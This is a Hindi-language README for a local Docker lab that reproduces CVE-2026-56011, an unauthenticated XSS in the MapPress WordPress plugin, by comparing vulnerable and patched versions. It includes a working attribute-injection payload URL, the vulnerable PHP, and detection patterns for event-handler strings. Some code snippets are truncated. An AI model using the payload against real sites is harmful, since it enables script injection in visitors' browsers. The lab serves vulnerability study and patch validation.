
Docker-आधारित प्रयोगशाला जो CVE-2026-56011 को पुनरुत्पादित और मान्य करने के लिए है, जो WordPress के लिए MapPress Maps में एक अप्रमाणित XSS भेद्यता है, जिसमें असुरक्षित और पैच किए गए तुलनात्मक लक्ष्य शामिल हैं।
इस रिपॉजिटरी में CVE-2026-56011 को प्रतिलिपित और मान्य करने के लिए एक स्थानीय Docker लैब शामिल है, जो MapPress Maps for WordPress को प्रभावित करने वाली एक अप्रमाणित क्रॉस-साइट स्क्रिप्टिंग भेद्यता है।
MapPress Maps for WordPress एक WordPress प्लगइन है जो WordPress पेजों और पोस्टों में मानचित्र प्रदर्शित करने के लिए उपयोग किया जाता है। कमजोर व्यवहार iframe मानचित्र रेंडरिंग पथ को प्रभावित करता है जो mappress=embed अनुरोध पैरामीटर के माध्यम से पहुंच योग्य है।
यह लैब दो MapPress संस्करणों की तुलना करता है:
| सेवा | MapPress संस्करण | उद्देश्य | URL |
|---|
| vuln | 2.97.3 | तुलना के लिए कमजोर लक्ष्य | http://localhost:8081 |
| patched | 2.97.4 | तुलना के लिए पैच किया गया लक्ष्य | http://localhost:8082 |
इस स्थानीय लैब में प्रदर्शित मान्यकरण पथ है:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
असुरक्षित लक्ष्य इस मैन्युअल ब्राउज़र URL का उपयोग करता है:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
अपेक्षित संवेदनशील परिणाम:```text Click on the rendered MapPress component → alert(1) pops up
पैच किया गया लक्ष्य MapPress 2.97.4 के विरुद्ध उसी पेलोड का उपयोग करता है:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
अपेक्षित पैच परिणाम:```text Click on the rendered MapPress component → no alert appears
यह लैब जानबूझकर केवल मैन्युअल ब्राउज़र सत्यापन का उपयोग करती है। इसमें PoC स्क्रिप्ट, ब्राउज़र ऑटोमेशन, क्रेडेंशियल चोरी, बाहरी कॉलबैक, मैलवेयर, पर्सिस्टेंस, पोस्ट-एक्सप्लॉइटेशन गतिविधि, या बाहरी सिस्टम के विरुद्ध हमले शामिल नहीं हैं।
## सत्यापित तथ्य
| दावा | साक्ष्य | इस लैब में कैसे सत्यापित करें |
| ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| CVE-2026-56011, वर्डप्रेस के लिए MapPress Maps को प्रभावित करता है। | सार्वजनिक भेद्यता सलाहकार MapPress Maps for WordPress को प्रभावित वर्डप्रेस प्लगइन के रूप में पहचानते हैं। | संदर्भ अनुभाग की समीक्षा करें और दोनों Docker लक्ष्यों में स्थापित प्लगइन का निरीक्षण करें। |
| इस लैब में कमजोर तुलना संस्करण MapPress 2.97.3 है। | `vuln` सेवा `MAPPRESS_VERSION: 2.97.3` का उपयोग करके प्लगइन बनाती है। | `docker-compose.yml` और `vuln/Dockerfile` का निरीक्षण करें। |
| इस लैब में पैच किया गया तुलना संस्करण MapPress 2.97.4 है। | `patched` सेवा `MAPPRESS_VERSION: 2.97.4` का उपयोग करके प्लगइन बनाती है। | `docker-compose.yml` और `patched/Dockerfile` का निरीक्षण करें। |
| MapPress 2.97.4 में प्रासंगिक iframe एस्केपिंग फिक्स पेश किया गया। | आधिकारिक प्लगइन चेंजलॉग 2.97.4 के लिए कहता है `Added: escape in iframe`. | आधिकारिक वर्डप्रेस प्लगइन चेंजलॉग की समीक्षा करें और कमजोर तथा पैच किए गए स्रोत की तुलना करें। |
| कमजोर स्रोत बिना उद्धरण के मानचित्र नाम को वेब घटक `id` में प्रस्तुत करता है। | 2.97.3 में, `mappress_map.php` प्रस्तुत करता है `<mappress-map id={$name} ...>`। | 2.97.3 स्रोत की 2.97.4 स्रोत से तुलना करें। |
| पैच किया गया स्रोत `id` मान को उद्धृत और एस्केप करता है। | 2.97.4 में, `mappress_map.php` प्रस्तुत करता है `id="` के साथ `esc_attr($name)`। | 2.97.3 और 2.97.4 के बीच पैच अंतर (diff) की तुलना करें। |
| बिना प्रमाणीकरण के iframe पथ तक पहुंचा जा सकता है। | MapPress `template_redirect` पंजीकृत करता है जब `$_GET['mappress']` मौजूद होता है। | बिना लॉग इन किए ब्राउज़र से `/?mappress=embed...` का अनुरोध करें। |
| iframe पथ अनुरोध से मानचित्र विशेषताओं को पढ़ता है। | `template_redirect()` `$_GET` को मानचित्र तर्कों में मैप करता है और iframe रेंडरर को कॉल करता है। | `mappress.php` का निरीक्षण करें और मैन्युअल URL को पुन: उत्पन्न करें। |
| कमजोर लक्ष्य `name` के माध्यम से विशेषता इंजेक्शन की अनुमति देता है। | तैयार किया गया नाम मान बिना उद्धरण वाले `id` विशेषता से बाहर निकल सकता है और `onclick=alert(1)` बन सकता है। | कमजोर मैन्युअल URL खोलें और रेंडर किए गए MapPress घटक पर क्लिक करें। |
| पैच किया गया लक्ष्य परीक्षण की गई विशेषता इंजेक्शन व्यवहार को अवरुद्ध करता है। | पैच किया गया आउटपुट पूरे पेलोड को उद्धृत `id` विशेषता के अंदर रखता है। | पैच किए गए मैन्युअल URL खोलें और रेंडर किए गए MapPress घटक पर क्लिक करें। |
## धारणाएँ और अज्ञात
यह लैब MapPress 2.97.3 को कमजोर तुलना लक्ष्य के रूप में उपयोग करती है क्योंकि सार्वजनिक सलाहकार 2.97.3 तक के संस्करणों को प्रभावित बताते हैं, और स्रोत अंतर उस संस्करण में कमजोर बिना उद्धरण वाली विशेषता रेंडरिंग दिखाता है।
यह लैब MapPress 2.97.4 को पैच किए गए तुलना लक्ष्य के रूप में उपयोग करती है क्योंकि सार्वजनिक सलाहकार 2.97.4 को फिक्स्ड संस्करण के रूप में पहचानते हैं, और आधिकारिक चेंजलॉग कहता है कि iframe पथ में एस्केपिंग जोड़ी गई थी।
परीक्षण किया गया कमजोर व्यवहार अप्रमाणित iframe रेंडरिंग पथ है:```text
GET /?mappress=embed&name=<crafted-value>
यह प्रयोगशाला एक हानिरहित अलर्ट पेलोड के मैनुअल ब्राउज़र निष्पादन पर केंद्रित है:```text name=cve56011 onclick=alert(1)
प्रयोगशाला संग्रहित वितरण श्रृंखला साबित करने का प्रयास नहीं करती है। कुछ सार्वजनिक सलाहकार वर्गीकरण इस कमजोरी को संग्रहित XSS के रूप में वर्गीकृत करते हैं। यह रिपॉजिटरी स्रोत-पुष्टि किए गए iframe रेंडरिंग सिंक और कमजोर-बनाम-पैच किए गए व्यवहार पर केंद्रित है, जिसे अप्रमाणित `mappress=embed` रूट के माध्यम से स्थानीय रूप से पुन: प्रस्तुत किया जा सकता है।
प्रयोगशाला प्रदर्शित नहीं करती है:
* संग्रहित पेलोड स्थिरता,
* वर्डप्रेस खाता समझौता,
* एडमिन सत्र चोरी,
* नॉन्स चोरी,
* बाहरी कॉलबैक,
* ब्लाइंड XSS संग्रह,
* क्रेडेंशियल चोरी,
* डेटाबेस डंपिंग,
* मैलवेयर,
* स्थिरता,
* या गैर-लैब सिस्टम के खिलाफ हमले।
मैनुअल ब्राउज़र सत्यापन सुरक्षा-संबंधित रेंडरिंग अंतर को साबित करता है:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
CVE-2026-56011 का मूल कारण मैप name मान के लिए गलत आउटपुट एन्कोडिंग है जब MapPress iframe मैप आउटपुट पथ के अंदर एक वेब कम्पोनेंट रेंडर करता है।
कमजोर कोड पथ अनुरोध से मैप रेंडरिंग एट्रिब्यूट्स स्वीकार करता है और अंततः एक कस्टम HTML एलिमेंट रेंडर करता है:```html <mappress-map ...>
MapPress 2.97.3 में, मानचित्र का नाम सीधे `id` एट्रिब्यूट में बिना उद्धरण और बिना एट्रिब्यूट-संदर्भ एस्केपिंग के डाला जाता है:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
यह असुरक्षित है क्योंकि मान का उपयोग HTML विशेषता संदर्भ में किया जाता है। यदि हमलावर name को नियंत्रित करता है, तो एक स्थान वाला मान इच्छित id मान को समाप्त कर सकता है और एक नई विशेषता शुरू कर सकता है।
कमजोर व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
महत्वपूर्ण बात यह है कि सामान्य टेक्स्ट स्वच्छता सही आउटपुट एस्केपिंग के समान नहीं है।
कमजोर कोड मैप नाम पर `sanitize_text_field()` का उपयोग करता है, लेकिन यह बिना उद्धरण के HTML विशेषता के लिए मान को सुरक्षित नहीं बनाता है। HTML विशेषताओं में स्थान सार्थक रहते हैं क्योंकि वे एक विशेषता को दूसरे से अलग करते हैं।
सुरक्षा समस्या इसलिए है:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
पैच किए गए संस्करण में रेंडरिंग को बदलकर id मान को quote और escape किया जाता है:```php
return "
पैच किए गए व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
सुरक्षा का सबक यह है:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## Source Code Analysis
MapPress 2.97.3 और MapPress 2.97.4 की तुलना करके स्रोत-स्तरीय समस्या की पुष्टि की गई।
प्राथमिक रेंडरिंग सिंक निम्नलिखित में है:```text
mappress_map.php
असुरक्षित संस्करण name मान को एक बिना उद्धरण के id विशेषता के रूप में प्रस्तुत करता है:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
पैच किया गया संस्करण विशेषता को उद्धृत करता है और मान को एस्केप करता है:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
जब अनुरोध में mappress क्वेरी पैरामीटर होता है तो iframe रूट पंजीकृत होता है:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
iframe अनुरोध हैंडलर क्वेरी पैरामीटर को मैप आर्गुमेंट्स में मैप करता है:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
फिर हैंडलर एक मैप ऑब्जेक्ट बनाता या लोड करता है और इसे अनुरोध तर्कों के साथ अपडेट करता है:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
iframe सहायक मानचित्र सामग्री प्रस्तुत करता है:```php
$content = $map->display(null, true);
The display() पथ एक प्रदत्त गैर-रिक्त name मान को संरक्षित करता है:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
इसका मतलब है कि अनुरोध-आपूर्ति `name` मान असुरक्षित रेंडरिंग सिंक तक पहुंच सकता है। सुरक्षा-संबंधित प्रवाह है:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
उत्पन्न मानचित्र विशेषताओं के शेष भाग को एक सहायक के माध्यम से संसाधित किया जाता है जो विशेषताओं को उद्धृत करता है। कमजोर id रेंडरिंग विशेष है क्योंकि name को बाहर निकाला जाता है और अलग से रेंडर किया जाता है।
यह कमजोर सतह को संकीर्ण और मान्य करने में आसान बनाता है:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## स्रोत पैच सारांश
MapPress 2.97.4, जनरेट किए गए `<mappress-map>` तत्व के `id` विशेषता मान को उद्धृत और एस्केप करके कमजोर iframe रेंडरिंग व्यवहार को ठीक करता है।
कमजोर आउटपुट पैटर्न है:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
इस आउटपुट में, ब्राउज़र पार्स करता है:```text id = cve56011 onclick = alert(1)
पैच किया गया आउटपुट पैटर्न है:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
इस आउटपुट में, ब्राउज़र पार्स करता है:```text id = cve56011 onclick=alert(1)
कोई स्वतंत्र `onclick` विशेषता नहीं बनाई गई है।
सुरक्षा-संबंधित पैच है:```text
Before:
id={$name}
After:
id="<escaped name>"
स्रोत-स्तर पर सुधार छोटा है, लेकिन सुरक्षा प्रभाव महत्वपूर्ण है क्योंकि प्रभावित पथ iframe embed endpoint के माध्यम से बिना प्रमाणीकरण के पहुँचा जा सकता है।
यह लैब स्रोत समीक्षा और रनटाइम सत्यापन को अलग रखता है:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## लैब आर्किटेक्चर
लैब डॉकर कंपोज़ के माध्यम से दो पृथक वर्डप्रेस लक्ष्य चलाता है।```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
जानबूझकर poc/ निर्देशिका नहीं है। सत्यापन मैनुअल और ब्राउज़र-आधारित है।
दो WordPress सेवाएँ अलग-अलग डेटाबेस और अलग-अलग WordPress वॉल्यूम का उपयोग करती हैं:
| Service | Component | Version / Role |
|---|---|---|
| db-vuln | MariaDB | कमजोर WordPress के लिए डेटाबेस |
| db-patched | MariaDB | पैच किए गए WordPress के लिए डेटाबेस |
| vuln | WordPress | MapPress 2.97.3 के साथ कमजोर लक्ष्य |
| patched | WordPress | MapPress 2.97.4 के साथ पैच किया गया लक्ष्य |
| wpcli-vuln | WP-CLI | WordPress स्थापित करता है और प्लगइन सक्रिय करता है |
| wpcli-patched | WP-CLI | WordPress स्थापित करता है और प्लगइन सक्रिय करता है |
डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
The lab uses pinned MapPress plugin versions:
| Target | MapPress version | Expected behavior |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | निर्मित घटक पर क्लिक करने से alert(1) ट्रिगर होता है |
| http://localhost:8082 | 2.97.4 | निर्मित घटक पर क्लिक करने से alert(1) ट्रिगर नहीं होता है |
Docker बिल्ड प्रत्येक लक्ष्य के लिए आधिकारिक WordPress प्लगइन डाउनलोड एंडपॉइंट से सटीक प्लगइन ZIP डाउनलोड करता है:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
WP-CLI सेवाएँ लैब स्टार्टअप के दौरान स्वचालित रूप से चलती हैं। वे प्रत्येक लक्ष्य में WordPress स्थापित करती हैं और MapPress को सक्रिय करती हैं।
लैब कमजोर MapPress रूट को नहीं बनाता या संशोधित नहीं करता। यह रूट प्रत्येक लक्ष्य में स्थापित वास्तविक MapPress प्लगइन संस्करण द्वारा प्रदान किया जाता है।
कोई Python निर्भरता आवश्यक नहीं है।
कोई PoC स्क्रिप्ट आवश्यक नहीं है।
मैन्युअल XSS सत्यापन के लिए कोई WordPress लॉगिन आवश्यक नहीं है।
लैब को साफ स्थिति से शुरू करें:```bash docker compose down -v --remove-orphans docker compose up -d --build
सेवा स्थिति जांचें:```bash
docker compose ps
अपेक्षित चल रही सेवाएँ:```text db-vuln db-patched vuln patched
अपेक्षित उजागर लक्ष्य:```text
http://localhost:8081
http://localhost:8082
जाँच करें कि WordPress स्थापना और प्लगइन सक्रियण पूर्ण हुआ:```bash docker compose logs wpcli-vuln wpcli-patched
अपेक्षित सेटअप संदेश:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
सेटअप पूरा होने के बाद, WordPress लॉगिन पेज को HTTP 200 लौटाना चाहिए:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
यदि रूट पेज अस्थायी रूप से `/wp-admin/install.php` पर रीडायरेक्ट करता है, तो WP-CLI सेटअप अभी भी पूरा हो रहा हो सकता है। तब तक प्रतीक्षा करें जब तक `wpcli-vuln` और `wpcli-patched` लॉग सेटअप पूर्ण होने के संदेश न दिखाएँ, फिर पुनः प्रयास करें।
## मैन्युअल अलर्ट XSS सत्यापन
यह लैब केवल मैन्युअल ब्राउज़र सत्यापन का उपयोग करती है।
कोई PoC स्क्रिप्ट शामिल नहीं है।
कोई लॉगिन आवश्यक नहीं है।
### असुरक्षित लक्ष्य
इस URL को ब्राउज़र में खोलें:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
रेंडर किए गए MapPress घटक पर क्लिक करें।
अपेक्षित कमजोर परिणाम:```text alert(1) pops up
सुरक्षा अर्थ:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
असुरक्षित ब्राउज़र-पार्स किया गया व्यवहार इसके समतुल्य है:```html <mappress-map id=cve56011 onclick=alert(1) ...>
ब्राउज़र इसे इस प्रकार मानता है:```text
id = cve56011
onclick = alert(1)
जब कंपोनेंट पर क्लिक किया जाता है, तो इवेंट हैंडलर चलता है।
इस URL को ब्राउज़र में खोलें:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
प्रस्तुत MapPress घटक पर क्लिक करें।
अपेक्षित पैच किया गया परिणाम:```text
No alert appears.
सुरक्षा अर्थ:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
पैच किए गए ब्राउज़र-पार्स किए गए व्यवहार इसके बराबर है:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
ब्राउज़र इसे इस रूप में मानता है:```text id = cve56011 onclick=alert(1)
कोई निष्पादन योग्य `onclick` गुण नहीं बनाया गया है।
## अपेक्षित परिणाम
### संवेदनशील लक्ष्य
मैन्युअल ब्राउज़र URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
रेंडर किए गए घटक पर क्लिक करने के बाद अपेक्षित परिणाम:```text alert(1) pops up
अपेक्षित वर्गीकरण:```text
VULNERABLE_BEHAVIOR_OBSERVED
महत्वपूर्ण कमजोर संकेत है:```text MapPress 2.97.3
### पैच किया गया लक्ष्य
मैन्युअल ब्राउज़र URL:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
प्रस्तुत घटक पर क्लिक करने के बाद अपेक्षित परिणाम:```text No alert appears.
अपेक्षित वर्गीकरण:```text
BLOCKED_BEHAVIOR_OBSERVED
महत्वपूर्ण पैच किया गया संकेत है:```text MapPress 2.97.4
## सत्यापन कैसे काम करता है
मैन्युअल सत्यापन ब्राउज़र अनुरोध को MapPress iframe रेंडरिंग पथ पर भेजता है:```text
/?mappress=embed
अनुरोध में एक विशेष रूप से तैयार किया गया name मान शामिल है:```text
cve56011 onclick=alert(1)
पूर्ण संवेदनशील अनुरोध है:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
पूर्ण पैच किया गया अनुरोध है:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
MapPress 2.97.3 में, `name` मान को एक बिना उद्धरण के `id` विशेषता में डाला जाता है:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
क्योंकि विशेषता अनुद्धृत है, cve56011 के बाद का स्थान एक नई विशेषता शुरू करता है।
ब्राउज़र आउटपुट की व्याख्या इस प्रकार करता है:```text id="cve56011" onclick="alert(1)"
जब रेंडर किया गया घटक क्लिक किया जाता है, तो इंजेक्टेड इवेंट हैंडलर निष्पादित होता है।
MapPress 2.97.4 में, वही मान एस्केप और कोट किया जाता है:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
ब्राउज़र पूरे पेलोड को एक एकल id मान के रूप में व्याख्या करता है।
कोई इवेंट हैंडलर नहीं बनाया गया है।
सत्यापन जानबूझकर मैन्युअल है क्योंकि लक्ष्य सीधे ब्राउज़र-दृश्यमान XSS व्यवहार दिखाना है:```text vulnerable target → click → alert(1)
patched target → click → no alert
## मैन्युअल ब्राउज़र पुनरुत्पादन
लैब शुरू करें:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
सेटअप पूरा होने तक प्रतीक्षा करें:```bash docker compose logs wpcli-vuln wpcli-patched
अपेक्षित सेटअप पूर्णता:```text
vuln setup complete
patched setup complete
असुरक्षित लक्ष्य खोलें:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
रेंडर किए गए MapPress घटक पर क्लिक करें।
अपेक्षित परिणाम:```text
alert(1)
पैच किए गए लक्ष्य को खोलें:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
प्रस्तुत MapPress घटक पर क्लिक करें।
अपेक्षित परिणाम:```text
No alert
पोर्टफोलियो लेखन के लिए अनुशंसित स्क्रीनशॉट साक्ष्य:```text
## प्रभाव
CVE-2026-56011 सुरक्षा-संवेदनशील है क्योंकि एक अप्रमाणित हमलावर एक MapPress iframe URL बना सकता है जो प्रस्तुत मैप घटक में जावास्क्रिप्ट इंजेक्ट करता है।
संभावित वास्तविक-दुनिया का प्रभाव इस बात पर निर्भर करता है कि दुर्भावनापूर्ण URL कैसे वितरित किया जाता है और कौन सा उपयोगकर्ता इसे खोलता है।
संभावित प्रभाव में शामिल हो सकते हैं:
* पीड़ित के ब्राउज़र में हमलावर-नियंत्रित जावास्क्रिप्ट का निष्पादन,
* प्रभावित WordPress ओरिजिन के अंदर फ़िशिंग या UI हेरफेर,
* समान-मूल के गैर-HttpOnly डेटा तक पहुंच,
* पीड़ित के रूप में कार्य किए जाने की संभावना यदि अतिरिक्त एप्लिकेशन शर्तें इसकी अनुमति देती हैं,
* CSRF टोकन या गैर-सुरक्षित पेज डेटा की चोरी,
* और विश्वसनीय WordPress साइट संदर्भ का दुरुपयोग।
यह लैब केवल एक हानिरहित स्थानीय अलर्ट पेलोड प्रदर्शित करता है:```text
onclick=alert(1)
यह लैब सत्र चोरी, क्रेडेंशियल चोरी, एडमिन खाता अधिग्रहण, दुर्भावनापूर्ण बाहरी जावास्क्रिप्ट लोडिंग, ब्लाइंड XSS संग्रह, या सार्वजनिक WordPress साइटों पर हमलों का प्रदर्शन नहीं करता है।
उत्पादन में व्यावहारिक जोखिम निम्न पर निर्भर करता है:
संभावित संकेतकों में MapPress iframe रेंडरिंग पथ के अनुरोध शामिल हैं:```text GET /?mappress=embed
संदिग्ध क्वेरी पैरामीटर `name` पैरामीटर में जावास्क्रिप्ट-संबंधित स्ट्रिंग्स शामिल कर सकते हैं:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
उच्च-संकेत पहचान विचार:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
संदिग्ध अनुरोध का उदाहरण:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
समीक्षा करने के लिए संभावित वेब सर्वर लॉग या टेलीमेट्री:
mappress=embed अनुरोध,name मान,अनुशंसित निगरानी क्रियाएँ:
mappress=embed के लिए एक्सेस लॉग की समीक्षा करें।%20onclick%3D खोजें।name पैरामीटर मानों पर सतर्क रहें।WordPress के लिए MapPress Maps को संस्करण 2.97.4 या उसके बाद के संस्करण में अपग्रेड करें।
संबंधित पैच iframe मैप आउटपुट को बदलता है ताकि जनरेटेड वेब कंपोनेंट id विशेषता को उद्धृत और एस्केप किया जाए।
सुरक्षा-संबंधित व्यवहार:```text Before: id={$name}
After: id=""
अनुशंसित शमन कदम:
* MapPress Maps for WordPress को 2.97.4 या उसके बाद के संस्करण में अपग्रेड करें।
* प्रयोगशाला तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध प्लगइन संस्करण को प्राथमिकता दें।
* पुष्टि करें कि स्थापित प्लगइन संस्करण प्रभावित श्रेणी में नहीं है।
* अपडेट करने के बाद पेज कैश और CDN कैश साफ़ करें।
* संदिग्ध `mappress=embed` अनुरोधों के लिए एक्सेस लॉग की समीक्षा करें।
* संदिग्ध `name` पैरामीटर मानों के लिए लॉग खोजें।
* ईवेंट हैंडलर वाले `mappress=embed` अनुरोधों के लिए एक अस्थायी WAF नियम पर विचार करें।
* वर्डप्रेस एडमिन कार्यक्षमता के अनावश्यक एक्सपोज़र को प्रतिबंधित करें।
* जहां अनुकूल हो, एक प्रतिबंधात्मक कंटेंट सिक्योरिटी पॉलिसी का उपयोग करें।
* वर्डप्रेस कोर, थीम और प्लगइन्स को अपडेट रखें।
सुरक्षा इंजीनियरिंग पाठ:
* सभी HTML विशेषताओं को कोट करें।
* सटीक आउटपुट संदर्भ के लिए आउटपुट को एस्केप करें।
* वर्डप्रेस HTML विशेषता आउटपुट के लिए `esc_attr()` का उपयोग करें।
* आउटपुट एस्केपिंग के प्रतिस्थापन के रूप में `sanitize_text_field()` पर भरोसा न करें।
* iframe और शॉर्टकोड रेंडरिंग पथों के लिए रिग्रेशन परीक्षण जोड़ें।
* कस्टम वेब कंपोनेंट रेंडरिंग की समीक्षा करें क्योंकि कस्टम टैग अभी भी सामान्य HTML पार्सिंग नियमों का पालन करते हैं।
## सुरक्षा सीमाएँ
यह प्रयोगशाला केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।
उन सिस्टमों के विरुद्ध मैनुअल XSS URL का उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
इस प्रयोगशाला में वास्तविक उत्पादन क्रेडेंशियल्स, ग्राहक डेटा, भुगतान डेटा, API कुंजियाँ, डेटाबेस क्रेडेंशियल्स या उत्पादन रहस्यों का उपयोग न करें।
इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है जैसे:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
मैन्युअल payload जानबूझकर हानिरहित है:```text onclick=alert(1)
* कुकी चोरी,
* क्रेडेंशियल चोरी,
* CSRF टोकन चोरी,
* एडमिन कार्यों का दुरुपयोग,
* बाहरी कॉलबैक,
* ब्लाइंड XSS संग्रहण,
* मैलवेयर,
* स्थिरता (persistence),
* फिशिंग किट,
* ब्राउज़र शोषण,
* पार्श्व गति (lateral movement),
* ग्राहक डेटा तक पहुंच,
* या गैर-लैब प्रणालियों पर हमले।
लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति का प्रदर्शन करना है:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
कंटेनर, नेटवर्क और वॉल्यूम को रोकें और हटाएं:```bash docker compose down -v --remove-orphans
यदि चाहें तो स्थानीय रूप से बनाई गई लैब इमेज को हटा दें:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
जाँच करें कि कोई लैब कंटेनर शेष नहीं है:```bash docker compose ps
## संदर्भ
* CVE रिकॉर्ड: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* वर्डप्रेस प्लगइन: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* वर्डप्रेस प्लगइन चेंजलॉग: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* WPScan भेद्यता डेटाबेस: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* वर्डप्रेस प्लगइन डाउनलोड: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* वर्डप्रेस प्लगइन डाउनलोड: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip